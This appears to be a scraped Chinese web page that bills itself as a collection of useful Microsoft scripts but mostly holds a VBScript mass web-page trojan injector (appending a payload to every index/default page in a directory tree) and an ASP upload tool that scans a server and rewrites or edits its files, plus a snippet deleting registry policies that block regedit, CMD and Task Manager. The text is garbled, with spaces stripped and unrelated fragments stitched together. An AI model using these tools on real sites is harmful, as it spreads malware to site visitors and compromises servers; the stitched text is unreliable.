在这一开发环境中，程序员唯一困难的是MicrosoftSDK提供了六百多个函数和与其一致的事件驱动(event-driven)编程技术几段非常有用的脚本(来自微软网站,由downmoon精心收集)

一、在网络硬件故障或网络故障断开时发送警告

调用方法示例：cscript网络断开.vbs>>F:\test\微软脚本\log.txt

二、在网络硬件连接成功或网络故障恢复连接时发送警告

调用方法示例：cscript网络连接.vbs>>F:\test\微软脚本\log.txt

三、获取所有域用户信息

调用方法示例：cscript域用户信息.vbs>>F:\test\微软脚本\域用户信息.txt

四、修改文本文件内容

调用方法示例：ModifyFile.vbs

附件:

Sample.ini:

五、通过脚本发送电子邮件

从安装了SMTPService的计算机中发送电子邮件的脚本scan.vbe

cscriptscan.vbeweb目录

程序代码：

'版权信息

br="************************************"&vbCrLf

br=br&"*VBS批量挂马脚本*"&vbCrLf

br=br&"*BYBanLG*"&vbCrLf

br=br&"************************************"&vbCrLf&vbCrLf

br=br&"cscriptscan.vbeD:"&vbCrLf

'马的地址

ma=""

'要挂马的页面如果嫌不够还可以自己再加，记得要用”|”隔开

MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"

'以"|"为分隔符拆分成数组

MyArray=Split(MyString,"|",-1,1)

web=WScript.Arguments(0)

'如果web为空退出脚本

ifweb=""then

Wscript.echo(br)

window.Close

endif

Wscript.echo(br)&"马的地址："&ma&vbCrLf&vbCrLf

'创建对象

Setfso=createObject("Scripting.FileSystemObject")

'开始扫描挂马

scan(web)

'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾

subscan(filesder)

setfilesder=fso.getfolder(filesder)

'得到当前目录的所有文件集合

setfiles=filesder.files

'获取文件名

foreachfextinfiles

Setfile1=fso.GetFile(fext)

filesext=file1.Name

'把文件名转换成小写字母

ext=lcase(filesext)

ForEachindexinMyArray

'判断文件是不是我们在MyString里限定的文件，如果是就写马

ifext=lcase(index)then

Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作

ts.WriteLine(ma)

ts.Close

echo=""

echo=fext&"………….ok"

Wscript.echo(echo)

endif

next

next

setsubfolders=filesder.subfolders

foreachsubfolderinsubfolders'搜索其他目录,递归调用

scan(subfolder)

next

endsub

FSO挂马.asp

传进服务器以后直接输入需要挂马的路径就可以直接挂了

程序代码：

Response.Buffer=False

%>

ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")

ex=Request("ex")

pth=Request("pth")

newcnt=Request("newcnt")

Ifex<>""ANDpth<>""Then

selectCaseex

Case"edit"

CALLfile_show(pth)

Case"save"

CALLfile_save(pth)

Endselect

Else

%>

"method="POST">

FOLDER(ABSOLUTEPATH):

FunctionIsPattern(patt,str)

SetregEx=NewRegExp

regEx.Pattern=patt

regEx.IgnoreCase=True

retVal=regEx.Test(str)

SetregEx=Nothing

IfretVal=TrueThen

IsPattern=True

Else

IsPattern=False

EndIf

EndFunction

IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then

schs

Else

Ifs<>""ThenResponse.Write"InvalidAgrument!"

EndIf

Subsch(s)

oNeRrOrrEsUmEnExT

Setfs=Server.createObject("Scripting.FileSystemObject")

Setfd=fs.GetFolder(s)

Setfi=fd.Files

Setsf=fd.SubFolders

ForEachfinfi

rtn=f.Path

step_allrtn

Next

Ifsf.Count<>0Then

ForEachlInsf

schl

Next

EndIf

EndSub

Substep_all(agr)

retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)

IfretValThen

step1agr

step2agr

Else

ExitSub

EndIf

EndSub

%>

Substep2(str2)

addcode=""

Setfs=Server.createObject("Scripting.FileSystemObject")

isExist=fs.FileExists(str2)

IfisExistThen

Setf=fs.GetFile(str2)

Setf_addcode=f.OpenAsTextStream(8,-2)

f_addcode.Writeaddcode

f_addcode.Close

Setf=Nothing

EndIf

Setfs=Nothing

EndSub

%>

Subfile_show(fname)

Setfs1=Server.createObject("Scripting.FileSystemObject")

isExist=fs1.FileExists(fname)

IfisExistThen

Setfcnt=fs1.OpenTextFile(fname)

cnt=fcnt.ReadAll

fcnt.Close

Setfs1=Nothing%>

FILE:

"method="POST">

">

THEFILEISNOTEXITORHAVEdeleteD.

EndIf

EndSub

%>

Subfile_save(fname)

Setfs2=Server.createObject("Scripting.FileSystemObject")

Setnewf=fs2.createTextFile(fname,True)

newf.Writenewcnt

newf.Close

Setfs2=Nothing

Response.Write"

THEFILEWASMODIFIEDSUCCESSFULLY.

"

EndSub

%>

结果是：长长的字符连接串变得难于阅读

OnErrorResumeNext

SetWSHShell=WScript.CreateObject("WScript.Shell")

WithWScript.CreateObject("WScript.Shell")

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"

.RegDelete"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD"

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"

EndWith

Mybox=MsgBox(enab&vbCR&"程序运行限制已解除!",1024,"Result")

dimAnumaslong

Anum＝&010'＆0是八进制的表示符号Anum自行转换为8

CreateObject( "WScript.Shell" ).Run _

DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByVal

hwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)

AsLong

PublicConstCB_FINDSTRING=&H14C

PrivateSubCombo1_Change()

DimiStartAsInteger

DimsStringAsString

StaticiLeftOffAsInteger

iStart=1

iStart=Combo1.SelStart

IfiLeftOff<>0Then

Combo1.SelStart=iLeftOff

iStart=iLeftOff

EndIf

sString=CStr(Left(Combo1.Text,iStart))

Combo1.ListIndex=SendMessage(Combo1.hwnd,B_FINDSTRING,-1,ByValCStr(

Left(ombo1.Text,iStart)))

IfCombo1.ListIndex=-1Then

iLeftOff=Len(sString)

combo1.Text=sString

EndIf

Combo1.SelStart=iStart

iLeftOff=0

EndSub

静态变量iLeftOff指定了字符长度

D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\bytes2BSTR.htm刺激战场pc模拟器

(2)．在打开记录集时检查错误但是藐视这样就把整个iexplorer.exe关闭了~~并不等达到过滤的问题~

。